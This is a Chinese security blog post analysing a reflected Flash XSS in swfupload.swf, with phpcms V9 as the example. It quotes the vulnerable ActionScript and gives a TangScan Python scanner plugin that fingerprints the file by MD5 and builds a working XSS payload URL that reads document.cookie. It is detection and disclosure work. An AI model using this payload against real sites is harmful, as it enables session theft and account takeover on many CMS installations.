Tangscan插件之phpcms V9 /swfupload.swf XSS
最近看到WooYun-2014-69833报告中对swfupload.swf、uploadify.swf造成的flash xss 分析,由于涉及范围广(国内各大cms厂商,包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等)命中率应该还可以,便给Tangscan提交了几个此类型插件,这里也分享一下代码。
先看下漏洞成因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
this.movieName = root.loaderInfo.parameters.movieName; this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady"); this.fileDialogStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogStart"); this.fileQueued_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueued"); this.fileQueueError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueueError"); this.fileDialogComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogComplete"); this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart"); this.uploadProgress_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadProgress"); this.uploadError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadError"); this.uploadSuccess_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadSuccess"); this.uploadComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadComplete"); this.debug_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].debug"); this.testExternalInterface_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].testExternalInterface"); this.cleanUp_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].cleanUp"); |
代码可见,从参数(root.loaderInfo.parameters.movieName)中获得movieName后直接赋值到一些callback响应函数中,这些函数是js中执行的内容。我们只需闭合前面的”],再闭合try..catch中大括号},即可执行自己的javascript代码,造成反射型XSS。
因为是flash xss,而且没有过多关键字,所以无视浏览器filter和大部分WAF(因为在前端运行),所以影响较大,轻则越权操作、产生XSS、csrf蠕虫,重则直接getshell(结合某些cms的后台getshell技巧)。
分享下phpcms V9 /swfupload.swf XSS POC
- TangScan-ID:TS-2014-17843
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
#! /usr/bin/env python # -*- coding: utf-8 -*- import md5 from thirdparty import requests from modules.exploit import TSExploit class TangScan(TSExploit): def __init__(self): super(self.__class__, self).__init__() self.info = { "name": "phpcms V9 /swfupload.swf XSS", "product": "phpcmsv9", "product_version": "", "desc": """ phpcms V9 /swfupload.swf XSS """, "license": self.license.TS, "author": ["侦探911"], "ref": [ {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-069833"}, ], "type": self.type.xss, "severity": self.severity.low, "privileged": False, "disclosure_date": "", "create_date": "" } self.register_option({ "url": { "default": "", "required": True, "choices": [], "convert": self.convert.url_field, "desc": "" } }) self.register_result({ "status": False, "data": { }, "description": "", "error": "" }) def md5(self, content): return md5.new(content).hexdigest() def verify(self): flash_md5 = "3a1c6cc728dddc258091a601f28a9c12" exp_url = "{domain}/statics/js/swfupload/swfupload.swf".format(domain=self.option.url.rstrip('/')) try: response = requests.get(exp_url, verify=False, timeout=15) except Exception, e: self.result.error = str(e) return if self.md5(response.content) == flash_md5: self.result.status = True self.result.description = "目标 {url} 存在反射XSS, 验证url: {verify_url}".format( url=self.option.url, verify_url=exp_url + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//" ) def exploit(self): self.verify() if __name__ == '__main__': from modules.main import main main(TangScan()) |
支持博主!!!!!